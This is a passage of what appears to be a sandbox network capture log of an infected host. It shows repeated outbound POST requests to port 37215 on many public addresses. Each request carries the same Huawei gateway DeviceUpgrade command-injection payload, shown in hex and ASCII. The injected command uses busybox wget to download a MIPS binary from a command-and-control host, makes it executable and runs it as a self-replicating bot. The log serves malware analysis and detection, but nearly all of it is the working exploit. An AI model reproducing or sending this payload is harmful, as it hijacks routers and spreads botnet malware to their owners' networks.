20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.14	60850	197.152.148.149	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:08.470635891 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.14	36388	197.74.243.23	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:08.470659018 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.14	56838	156.178.245.151	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:08.470704079 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.14	47400	41.253.117.242	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:08.470973969 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.14	42148	156.7.194.104	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:08.476376057 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.14	41220	197.161.115.17	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.472774982 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.14	42016	41.227.204.54	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.472840071 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.14	57782	197.51.211.151	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.472873926 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.14	60308	197.54.205.67	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.472884893 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.14	60452	197.122.28.224	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.472930908 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.14	38502	41.43.89.156	37215

Timestamp	Bytes transferred	Direction	Data
